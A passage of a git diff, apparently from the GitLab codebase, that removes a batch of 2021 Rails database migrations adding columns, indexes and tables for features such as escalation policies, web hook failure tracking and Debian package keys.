index 9f411a61e5c..00000000000
--- a/db/migrate/20210427125400_add_spamcheck_api_key_to_application_setting.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-class AddSpamcheckApiKeyToApplicationSetting < ActiveRecord::Migration[6.0]
- def up
- add_column :application_settings, :encrypted_spam_check_api_key, :binary
- add_column :application_settings, :encrypted_spam_check_api_key_iv, :binary
- end
-
- def down
- remove_column :application_settings, :encrypted_spam_check_api_key
- remove_column :application_settings, :encrypted_spam_check_api_key_iv
- end
-end
diff --git a/db/migrate/20210427194958_add_description_roll_over_to_iterations_cadences.rb b/db/migrate/20210427194958_add_description_roll_over_to_iterations_cadences.rb
deleted file mode 100644
index fbae2a14d2d..00000000000
--- a/db/migrate/20210427194958_add_description_roll_over_to_iterations_cadences.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddDescriptionRollOverToIterationsCadences < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- with_lock_retries do
- add_column :iterations_cadences, :roll_over, :boolean, null: false, default: false
- add_column :iterations_cadences, :description, :text # rubocop:disable Migration/AddLimitToTextColumns
- end
- end
-
- def down
- with_lock_retries do
- remove_column :iterations_cadences, :roll_over
- remove_column :iterations_cadences, :description
- end
- end
-end
diff --git a/db/migrate/20210427200840_add_text_limit_to_iterations_cadences_description.rb b/db/migrate/20210427200840_add_text_limit_to_iterations_cadences_description.rb
deleted file mode 100644
index a146f295de3..00000000000
--- a/db/migrate/20210427200840_add_text_limit_to_iterations_cadences_description.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class AddTextLimitToIterationsCadencesDescription < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- add_text_limit :iterations_cadences, :description, 5000
- end
-
- def down
- remove_text_limit :iterations_cadences, :description
- end
-end
diff --git a/db/migrate/20210428151144_update_invalid_web_hooks.rb b/db/migrate/20210428151144_update_invalid_web_hooks.rb
deleted file mode 100644
index 4f45e7aaa9b..00000000000
--- a/db/migrate/20210428151144_update_invalid_web_hooks.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-class UpdateInvalidWebHooks < ActiveRecord::Migration[6.0]
- disable_ddl_transaction!
-
- class WebHook < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'web_hooks'
- end
-
- def up
- WebHook.each_batch(of: 10_000, column: :id) do |relation|
- relation.where(type: 'ProjectHook')
- .where.not(project_id: nil)
- .where.not(group_id: nil)
- .update_all(group_id: nil)
- end
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/migrate/20210428151238_validate_foreign_key_on_group_hooks.rb b/db/migrate/20210428151238_validate_foreign_key_on_group_hooks.rb
deleted file mode 100644
index e7020665b25..00000000000
--- a/db/migrate/20210428151238_validate_foreign_key_on_group_hooks.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class ValidateForeignKeyOnGroupHooks < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- CONSTRAINT_NAME = 'fk_rails_d35697648e'
-
- def up
- validate_foreign_key :web_hooks, :group_id, name: CONSTRAINT_NAME
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/migrate/20210429024843_add_escalation_policies.rb b/db/migrate/20210429024843_add_escalation_policies.rb
deleted file mode 100644
index 63bd558acfb..00000000000
--- a/db/migrate/20210429024843_add_escalation_policies.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-class AddEscalationPolicies < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- UNIQUE_INDEX_NAME = 'index_on_project_id_escalation_policy_name_unique'
-
- def up
- create_table_with_constraints :incident_management_escalation_policies do |t|
- t.references :project, index: false, null: false, foreign_key: { on_delete: :cascade }
- t.text :name, null: false
- t.text :description, null: true
-
- t.text_limit :name, 72
- t.text_limit :description, 160
- t.index [:project_id, :name], unique: true, name: UNIQUE_INDEX_NAME
- end
- end
-
- def down
- drop_table :incident_management_escalation_policies
- end
-end
diff --git a/db/migrate/20210429032320_add_escalation_rules.rb b/db/migrate/20210429032320_add_escalation_rules.rb
deleted file mode 100644
index 2297f7511a6..00000000000
--- a/db/migrate/20210429032320_add_escalation_rules.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddEscalationRules < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- RULE_SCHEDULE_INDEX_NAME = 'index_on_oncall_schedule_escalation_rule'
- UNIQUENESS_INDEX_NAME = 'index_on_policy_schedule_status_elapsed_time_escalation_rules'
-
- def change
- create_table :incident_management_escalation_rules do |t|
- t.belongs_to :policy, index: false, null: false, foreign_key: { on_delete: :cascade, to_table: :incident_management_escalation_policies }
- t.belongs_to :oncall_schedule, index: { name: RULE_SCHEDULE_INDEX_NAME }, null: false, foreign_key: { on_delete: :cascade, to_table: :incident_management_oncall_schedules }
- t.integer :status, null: false, limit: 2
- t.integer :elapsed_time_seconds, null: false, limit: 4
-
- t.index [:policy_id, :oncall_schedule_id, :status, :elapsed_time_seconds], unique: true, name: UNIQUENESS_INDEX_NAME
- end
- end
-end
diff --git a/db/migrate/20210429131525_create_user_credit_card_validations.rb b/db/migrate/20210429131525_create_user_credit_card_validations.rb
deleted file mode 100644
index 8548274b29a..00000000000
--- a/db/migrate/20210429131525_create_user_credit_card_validations.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-class CreateUserCreditCardValidations < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- with_lock_retries do
- create_table :user_credit_card_validations, id: false do |t|
- t.references :user, foreign_key: { on_delete: :cascade }, index: false, primary_key: true, default: nil
- t.datetime_with_timezone :credit_card_validated_at, null: false
- end
- end
- end
-
- def down
- with_lock_retries do
- drop_table :user_credit_card_validations
- end
- end
-end
diff --git a/db/migrate/20210429181325_add_failure_tracking_to_web_hooks.rb b/db/migrate/20210429181325_add_failure_tracking_to_web_hooks.rb
deleted file mode 100644
index 4a34c2dd307..00000000000
--- a/db/migrate/20210429181325_add_failure_tracking_to_web_hooks.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-class AddFailureTrackingToWebHooks < ActiveRecord::Migration[6.0]
- def change
- change_table(:web_hooks, bulk: true) do |t|
- t.integer :recent_failures, null: false, limit: 2, default: 0
- t.integer :backoff_count, null: false, limit: 2, default: 0
- t.column :disabled_until, :timestamptz
- end
- end
-end
diff --git a/db/migrate/20210429192653_add_generic_package_duplicate_settings_to_namespace_package_settings.rb b/db/migrate/20210429192653_add_generic_package_duplicate_settings_to_namespace_package_settings.rb
deleted file mode 100644
index 8c328eb52fc..00000000000
--- a/db/migrate/20210429192653_add_generic_package_duplicate_settings_to_namespace_package_settings.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-class AddGenericPackageDuplicateSettingsToNamespacePackageSettings < ActiveRecord::Migration[6.0]
- # rubocop:disable Migration/AddLimitToTextColumns
- # limit is added in 20210429193106_add_text_limit_to_namespace_package_settings_generic_duplicate_exception_regex
- def change
- add_column :namespace_package_settings, :generic_duplicates_allowed, :boolean, null: false, default: true
- add_column :namespace_package_settings, :generic_duplicate_exception_regex, :text, null: false, default: ''
- end
- # rubocop:enable Migration/AddLimitToTextColumns
-end
diff --git a/db/migrate/20210429193106_add_text_limit_to_namespace_package_settings_generic_duplicate_exception_regex.rb b/db/migrate/20210429193106_add_text_limit_to_namespace_package_settings_generic_duplicate_exception_regex.rb
deleted file mode 100644
index 5d02ad3e2f5..00000000000
--- a/db/migrate/20210429193106_add_text_limit_to_namespace_package_settings_generic_duplicate_exception_regex.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class AddTextLimitToNamespacePackageSettingsGenericDuplicateExceptionRegex < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- add_text_limit :namespace_package_settings, :generic_duplicate_exception_regex, 255
- end
-
- def down
- remove_text_limit :namespace_package_settings, :generic_duplicate_exception_regex
- end
-end
diff --git a/db/migrate/20210430034712_add_alert_manager_token_to_clusters_integration_prometheus.rb b/db/migrate/20210430034712_add_alert_manager_token_to_clusters_integration_prometheus.rb
deleted file mode 100644
index 48ab860a63b..00000000000
--- a/db/migrate/20210430034712_add_alert_manager_token_to_clusters_integration_prometheus.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-class AddAlertManagerTokenToClustersIntegrationPrometheus < ActiveRecord::Migration[6.0]
- def change
- change_table :clusters_integration_prometheus do |t|
- t.text :encrypted_alert_manager_token
- t.text :encrypted_alert_manager_token_iv
- end
- end
-end
diff --git a/db/migrate/20210430100947_add_elasticsearch_username_password_to_application_settings.rb b/db/migrate/20210430100947_add_elasticsearch_username_password_to_application_settings.rb
deleted file mode 100644
index 446ac93c75b..00000000000
--- a/db/migrate/20210430100947_add_elasticsearch_username_password_to_application_settings.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-class AddElasticsearchUsernamePasswordToApplicationSettings < ActiveRecord::Migration[6.0]
- def change
- # rubocop:disable Migration/AddLimitToTextColumns
- # limit is added in 20210505124816_add_text_limit_to_elasticsearch_username
- add_column :application_settings, :elasticsearch_username, :text
- # rubocop:enable Migration/AddLimitToTextColumns
-
- add_column :application_settings, :encrypted_elasticsearch_password, :binary
- add_column :application_settings, :encrypted_elasticsearch_password_iv, :binary
- end
-end
diff --git a/db/migrate/20210430121522_initialize_conversion_of_ci_build_trace_sections_to_bigint.rb b/db/migrate/20210430121522_initialize_conversion_of_ci_build_trace_sections_to_bigint.rb
deleted file mode 100644
index c51ae67ebee..00000000000
--- a/db/migrate/20210430121522_initialize_conversion_of_ci_build_trace_sections_to_bigint.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfCiBuildTraceSectionsToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- TABLE = :ci_build_trace_sections
- COLUMN = :build_id
-
- def up
- initialize_conversion_of_integer_to_bigint(TABLE, COLUMN, primary_key: COLUMN)
- end
-
- def down
- revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMN)
- end
-end
diff --git a/db/migrate/20210430122951_add_snapshot_namespace_id.rb b/db/migrate/20210430122951_add_snapshot_namespace_id.rb
deleted file mode 100644
index 9017bcdde53..00000000000
--- a/db/migrate/20210430122951_add_snapshot_namespace_id.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddSnapshotNamespaceId < ActiveRecord::Migration[6.0]
- def change
- add_column :analytics_devops_adoption_snapshots, :namespace_id, :integer
- end
-end
diff --git a/db/migrate/20210430124212_add_display_namespace_id_to_segments.rb b/db/migrate/20210430124212_add_display_namespace_id_to_segments.rb
deleted file mode 100644
index 43be5c719fb..00000000000
--- a/db/migrate/20210430124212_add_display_namespace_id_to_segments.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddDisplayNamespaceIdToSegments < ActiveRecord::Migration[6.0]
- def change
- add_column :analytics_devops_adoption_segments, :display_namespace_id, :integer
- end
-end
diff --git a/db/migrate/20210430124630_add_devops_adoption_indexes.rb b/db/migrate/20210430124630_add_devops_adoption_indexes.rb
deleted file mode 100644
index 4531e6b5e4c..00000000000
--- a/db/migrate/20210430124630_add_devops_adoption_indexes.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-# frozen_string_literal: true
-
-class AddDevopsAdoptionIndexes < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- SEGMENTS_INDEX_NAME = 'idx_devops_adoption_segments_namespaces_pair'
- SNAPSHOT_END_TIME_INDEX_NAME = 'idx_devops_adoption_segments_namespace_end_time'
- SNAPSHOT_RECORDED_AT_INDEX_NAME = 'idx_devops_adoption_segments_namespace_recorded_at'
-
- def up
- add_concurrent_index :analytics_devops_adoption_snapshots, [:namespace_id, :end_time],
- name: SNAPSHOT_END_TIME_INDEX_NAME
- add_concurrent_index :analytics_devops_adoption_snapshots, [:namespace_id, :recorded_at],
- name: SNAPSHOT_RECORDED_AT_INDEX_NAME
- add_concurrent_index :analytics_devops_adoption_segments, [:display_namespace_id, :namespace_id],
- unique: true, name: SEGMENTS_INDEX_NAME
-
- add_concurrent_foreign_key :analytics_devops_adoption_snapshots, :namespaces, column: :namespace_id
- add_concurrent_foreign_key :analytics_devops_adoption_segments, :namespaces, column: :display_namespace_id
- end
-
- def down
- remove_foreign_key :analytics_devops_adoption_segments, :namespaces, column: :display_namespace_id
- remove_foreign_key :analytics_devops_adoption_snapshots, :namespaces, column: :namespace_id
-
- remove_concurrent_index_by_name :analytics_devops_adoption_segments, SEGMENTS_INDEX_NAME
- remove_concurrent_index_by_name :analytics_devops_adoption_snapshots, SNAPSHOT_RECORDED_AT_INDEX_NAME
- remove_concurrent_index_by_name :analytics_devops_adoption_snapshots, SNAPSHOT_END_TIME_INDEX_NAME
- end
-end
diff --git a/db/migrate/20210430154631_add_slice_multiplier_and_max_slices_to_elastic_reindexing_task.rb b/db/migrate/20210430154631_add_slice_multiplier_and_max_slices_to_elastic_reindexing_task.rb
deleted file mode 100644
index be022c1b973..00000000000
--- a/db/migrate/20210430154631_add_slice_multiplier_and_max_slices_to_elastic_reindexing_task.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-class AddSliceMultiplierAndMaxSlicesToElasticReindexingTask < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DEFAULT_MAX_TOTAL_SLICES_RUNNING = 60
- DEFAULT_SLICE_MULTIPLIER = 2
-
- def change
- add_column :elastic_reindexing_tasks, :max_slices_running, :integer,
- limit: 2,
- default: DEFAULT_MAX_TOTAL_SLICES_RUNNING,
- null: false
- add_column :elastic_reindexing_tasks, :slice_multiplier, :integer,
- limit: 2,
- default: DEFAULT_SLICE_MULTIPLIER,
- null: false
- end
-end
diff --git a/db/migrate/20210503105022_create_project_value_streams.rb b/db/migrate/20210503105022_create_project_value_streams.rb
deleted file mode 100644
index 775ab03ad4b..00000000000
--- a/db/migrate/20210503105022_create_project_value_streams.rb
+++ /dev/null
@@ -1,27 +0,0 @@
-# frozen_string_literal: true
-
-class CreateProjectValueStreams < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'index_analytics_ca_project_value_streams_on_project_id_and_name'
-
- def up
- create_table_with_constraints :analytics_cycle_analytics_project_value_streams do |t|
- t.timestamps_with_timezone
- t.references(:project,
- null: false,
- index: false,
- foreign_key: { to_table: :projects, on_delete: :cascade }
- )
- t.text :name, null: false
- t.index [:project_id, :name], unique: true, name: INDEX_NAME
- t.text_limit :name, 100
- end
- end
-
- def down
- with_lock_retries do
- drop_table :analytics_cycle_analytics_project_value_streams
- end
- end
-end
diff --git a/db/migrate/20210503105845_add_project_value_stream_id_to_project_stages.rb b/db/migrate/20210503105845_add_project_value_stream_id_to_project_stages.rb
deleted file mode 100644
index d888ab4943c..00000000000
--- a/db/migrate/20210503105845_add_project_value_stream_id_to_project_stages.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-class AddProjectValueStreamIdToProjectStages < ActiveRecord::Migration[6.0]
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_analytics_ca_project_stages_on_value_stream_id'
-
- class ProjectValueStream < ActiveRecord::Base
- self.table_name = 'analytics_cycle_analytics_project_stages'
-
- include EachBatch
- end
-
- def up
- ProjectValueStream.reset_column_information
- # The table was never used, there is no user-facing code that modifies the table, it should be empty.
- # Since there is no functionality present that depends on this data, it's safe to delete the rows.
- ProjectValueStream.each_batch(of: 100) do |relation|
- relation.delete_all
- end
-
- transaction do
- add_reference :analytics_cycle_analytics_project_stages, :project_value_stream, null: false, index: { name: INDEX_NAME }, foreign_key: { on_delete: :cascade, to_table: :analytics_cycle_analytics_project_value_streams }, type: :bigint # rubocop: disable Migration/AddReference, Rails/NotNullColumn
- end
- end
-
- def down
- remove_reference :analytics_cycle_analytics_project_stages, :project_value_stream
- end
-end
diff --git a/db/migrate/20210503131747_add_web_hook_calls_to_plan_limits.rb b/db/migrate/20210503131747_add_web_hook_calls_to_plan_limits.rb
deleted file mode 100644
index cb23c9391ea..00000000000
--- a/db/migrate/20210503131747_add_web_hook_calls_to_plan_limits.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddWebHookCallsToPlanLimits < ActiveRecord::Migration[6.0]
- def change
- add_column :plan_limits, :web_hook_calls, :integer, null: false, default: 0
- end
-end
diff --git a/db/migrate/20210504085144_add_index_on_web_hook_project_id_recent_failures.rb b/db/migrate/20210504085144_add_index_on_web_hook_project_id_recent_failures.rb
deleted file mode 100644
index 898a0ccd1c5..00000000000
--- a/db/migrate/20210504085144_add_index_on_web_hook_project_id_recent_failures.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexOnWebHookProjectIdRecentFailures < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'index_web_hooks_on_project_id_recent_failures'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index(:web_hooks, [:project_id, :recent_failures], name: INDEX_NAME)
- end
-
- def down
- remove_concurrent_index_by_name(:web_hooks, INDEX_NAME)
- end
-end
diff --git a/db/migrate/20210504135823_add_floc_application_settings.rb b/db/migrate/20210504135823_add_floc_application_settings.rb
deleted file mode 100644
index a5e3aad6b8c..00000000000
--- a/db/migrate/20210504135823_add_floc_application_settings.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddFlocApplicationSettings < ActiveRecord::Migration[6.0]
- def change
- add_column :application_settings, :floc_enabled, :boolean, default: false, null: false
- end
-end
diff --git a/db/migrate/20210504143128_add_verification_state_and_started_at_to_mr_diff_details_table.rb b/db/migrate/20210504143128_add_verification_state_and_started_at_to_mr_diff_details_table.rb
deleted file mode 100644
index 7999ea14a12..00000000000
--- a/db/migrate/20210504143128_add_verification_state_and_started_at_to_mr_diff_details_table.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-class AddVerificationStateAndStartedAtToMrDiffDetailsTable < ActiveRecord::Migration[6.0]
- def change
- change_table(:merge_request_diff_details) do |t|
- t.integer :verification_state, default: 0, limit: 2, null: false
- t.column :verification_started_at, :datetime_with_timezone
- end
- end
-end
diff --git a/db/migrate/20210504153354_create_clusters_integration_elasticstack.rb b/db/migrate/20210504153354_create_clusters_integration_elasticstack.rb
deleted file mode 100644
index 79680821060..00000000000
--- a/db/migrate/20210504153354_create_clusters_integration_elasticstack.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-class CreateClustersIntegrationElasticstack < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- create_table_with_constraints :clusters_integration_elasticstack, id: false do |t|
- t.timestamps_with_timezone null: false
- t.references :cluster, primary_key: true, default: nil, index: false, foreign_key: { on_delete: :cascade }
- t.boolean :enabled, null: false, default: false
- t.text :chart_version
- t.text_limit :chart_version, 10
- end
- end
-
- def down
- with_lock_retries do
- drop_table :clusters_integration_elasticstack
- end
- end
-end
diff --git a/db/migrate/20210504164429_create_partial_indexes_for_pending_and_running_builds.rb b/db/migrate/20210504164429_create_partial_indexes_for_pending_and_running_builds.rb
deleted file mode 100644
index af403faa278..00000000000
--- a/db/migrate/20210504164429_create_partial_indexes_for_pending_and_running_builds.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-class CreatePartialIndexesForPendingAndRunningBuilds < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_PENDING = 'index_ci_builds_runner_id_pending'
- INDEX_RUNNING = 'index_ci_builds_runner_id_running'
-
- def up
- add_concurrent_index :ci_builds, :runner_id, where: "status = 'pending' AND type = 'Ci::Build'", name: INDEX_PENDING
- add_concurrent_index :ci_builds, :runner_id, where: "status = 'running' AND type = 'Ci::Build'", name: INDEX_RUNNING
- end
-
- def down
- remove_concurrent_index_by_name :ci_builds, INDEX_PENDING
- remove_concurrent_index_by_name :ci_builds, INDEX_RUNNING
- end
-end
diff --git a/db/migrate/20210505070612_create_packages_debian_group_distribution_keys.rb b/db/migrate/20210505070612_create_packages_debian_group_distribution_keys.rb
deleted file mode 100644
index 1e79b4e29b0..00000000000
--- a/db/migrate/20210505070612_create_packages_debian_group_distribution_keys.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-# frozen_string_literal: true
-
-class CreatePackagesDebianGroupDistributionKeys < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- INDEX_DISTRIBUTION = 'idx_pkgs_debian_group_distribution_keys_on_distribution_id'
-
- disable_ddl_transaction!
-
- def up
- create_table_with_constraints :packages_debian_group_distribution_keys do |t|
- t.timestamps_with_timezone
- t.references :distribution,
- foreign_key: { to_table: :packages_debian_group_distributions, on_delete: :cascade },
- index: { name: INDEX_DISTRIBUTION },
- null: false
-
- t.text :encrypted_private_key, null: false
- t.text :encrypted_private_key_iv, null: false
- t.text :encrypted_passphrase, null: false
- t.text :encrypted_passphrase_iv, null: false
- t.text :public_key, null: false
- t.text :fingerprint, null: false
-
- t.text_limit :public_key, 512.kilobytes
- t.text_limit :fingerprint, 255
- end
- end
-
- def down
- with_lock_retries do
- drop_table :packages_debian_group_distribution_keys
- end
- end
-end
diff --git a/db/migrate/20210505070812_create_packages_debian_project_distribution_keys.rb b/db/migrate/20210505070812_create_packages_debian_project_distribution_keys.rb
deleted file mode 100644
index f5ec01ec0d6..00000000000
--- a/db/migrate/20210505070812_create_packages_debian_project_distribution_keys.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-# frozen_string_literal: true
-
-class CreatePackagesDebianProjectDistributionKeys < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- INDEX_DISTRIBUTION = 'idx_pkgs_debian_project_distribution_keys_on_distribution_id'
-
- disable_ddl_transaction!
-
- def up
- create_table_with_constraints :packages_debian_project_distribution_keys do |t|
- t.timestamps_with_timezone
- t.references :distribution,
- foreign_key: { to_table: :packages_debian_project_distributions, on_delete: :cascade },
- index: { name: INDEX_DISTRIBUTION },
- null: false
-
- t.text :encrypted_private_key, null: false
- t.text :encrypted_private_key_iv, null: false
- t.text :encrypted_passphrase, null: false
- t.text :encrypted_passphrase_iv, null: false
- t.text :public_key, null: false
- t.text :fingerprint, null: false
-
- t.text_limit :public_key, 512.kilobytes
- t.text_limit :fingerprint, 255
- end
- end
-
- def down
- with_lock_retries do
- drop_table :packages_debian_project_distribution_keys
- end
- end
-end
diff --git a/db/migrate/20210505124816_add_text_limit_to_elasticsearch_username.rb b/db/migrate/20210505124816_add_text_limit_to_elasticsearch_username.rb
deleted file mode 100644
index 324b9193efb..00000000000
--- a/db/migrate/20210505124816_add_text_limit_to_elasticsearch_username.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class AddTextLimitToElasticsearchUsername < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- add_text_limit :application_settings, :elasticsearch_username, 255
- end
-
- def down
- remove_text_limit :application_settings, :elasticsearch_username
- end
-end
diff --git a/db/migrate/20210505170152_add_verification_indexes_to_merge_request_diff_details_table.rb b/db/migrate/20210505170152_add_verification_indexes_to_merge_request_diff_details_table.rb
deleted file mode 100644
index e85a28e3fa7..00000000000
--- a/db/migrate/20210505170152_add_verification_indexes_to_merge_request_diff_details_table.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-class AddVerificationIndexesToMergeRequestDiffDetailsTable < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- VERIFICATION_STATE_INDEX_NAME = "index_merge_request_diff_details_on_verification_state"
- PENDING_VERIFICATION_INDEX_NAME = "index_merge_request_diff_details_pending_verification"
- FAILED_VERIFICATION_INDEX_NAME = "index_merge_request_diff_details_failed_verification"
- NEEDS_VERIFICATION_INDEX_NAME = "index_merge_request_diff_details_needs_verification"
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :merge_request_diff_details, :verification_state, name: VERIFICATION_STATE_INDEX_NAME
- add_concurrent_index :merge_request_diff_details, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
- add_concurrent_index :merge_request_diff_details, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
- add_concurrent_index :merge_request_diff_details, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :merge_request_diff_details, VERIFICATION_STATE_INDEX_NAME
- remove_concurrent_index_by_name :merge_request_diff_details, PENDING_VERIFICATION_INDEX_NAME
- remove_concurrent_index_by_name :merge_request_diff_details, FAILED_VERIFICATION_INDEX_NAME
- remove_concurrent_index_by_name :merge_request_diff_details, NEEDS_VERIFICATION_INDEX_NAME
- end
-end
diff --git a/db/migrate/20210506150833_create_vulnerability_finding_evidence_headers.rb b/db/migrate/20210506150833_create_vulnerability_finding_evidence_headers.rb
deleted file mode 100644
index 0e584303e51..00000000000
--- a/db/migrate/20210506150833_create_vulnerability_finding_evidence_headers.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# frozen_string_literal: true
-
-class CreateVulnerabilityFindingEvidenceHeaders < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- create_table_with_constraints :vulnerability_finding_evidence_headers do |t|
- t.timestamps_with_timezone null: false
-
- t.references :vulnerability_finding_evidence_request, index: { name: 'finding_evidence_header_on_finding_evidence_request_id' }, null: true, foreign_key: { on_delete: :cascade }
- t.references :vulnerability_finding_evidence_response, index: { name: 'finding_evidence_header_on_finding_evidence_response_id' }, null: true, foreign_key: { on_delete: :cascade }
- t.text :name, null: false
- t.text :value, null: false
-
- t.text_limit :name, 255
- t.text_limit :value, 8192
- end
- end
-
- def down
- with_lock_retries do
- drop_table :vulnerability_finding_evidence_headers
- end
- end
-end
diff --git a/db/migrate/20210507191949_add_remove_on_issue_close_to_labels.rb b/db/migrate/20210507191949_add_remove_on_issue_close_to_labels.rb
deleted file mode 100644
index 131edb20164..00000000000
--- a/db/migrate/20210507191949_add_remove_on_issue_close_to_labels.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-class AddRemoveOnIssueCloseToLabels < ActiveRecord::Migration[6.0]
- # This migration was reverted in https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62056
-
- def up
- end
-
- def down
- end
-end
diff --git a/db/migrate/20210510083845_add_sha_to_status_check_response.rb b/db/migrate/20210510083845_add_sha_to_status_check_response.rb
deleted file mode 100644
index 202f5ca00c1..00000000000
--- a/db/migrate/20210510083845_add_sha_to_status_check_response.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-class AddShaToStatusCheckResponse < ActiveRecord::Migration[6.0]
- def up
- execute('DELETE FROM status_check_responses')
-
- add_column :status_check_responses, :sha, :binary, null: false # rubocop:disable Rails/NotNullColumn
- end
-
- def down
- remove_column :status_check_responses, :sha
- end
-end
diff --git a/db/migrate/20210510191551_add_body_to_findings_evidences_request.rb b/db/migrate/20210510191551_add_body_to_findings_evidences_request.rb
deleted file mode 100644
index 9b0054dbd22..00000000000
--- a/db/migrate/20210510191551_add_body_to_findings_evidences_request.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-class AddBodyToFindingsEvidencesRequest < ActiveRecord::Migration[6.0]
- # rubocop:disable Migration/AddLimitToTextColumns
- # limit is added in 20210510191552_add_limit_to_findings_evidences_request_body.rb
- def change
- add_column :vulnerability_finding_evidence_requests, :body, :text
- end
- # rubocop:enable Migration/AddLimitToTextColumns
-end
diff --git a/db/migrate/20210510191552_add_limit_to_findings_evidences_request_body.rb b/db/migrate/20210510191552_add_limit_to_findings_evidences_request_body.rb
deleted file mode 100644
index 84c8acdb10d..00000000000
--- a/db/migrate/20210510191552_add_limit_to_findings_evidences_request_body.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddLimitToFindingsEvidencesRequestBody < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_text_limit :vulnerability_finding_evidence_requests, :body, 2048
- end
-
- def down
- remove_text_limit :vulnerability_finding_evidence_requests, :body
- end
-end
diff --git a/db/migrate/20210511104929_add_epic_board_recent_visits_table.rb b/db/migrate/20210511104929_add_epic_board_recent_visits_table.rb
deleted file mode 100644
index 9822276f9c4..00000000000
--- a/db/migrate/20210511104929_add_epic_board_recent_visits_table.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
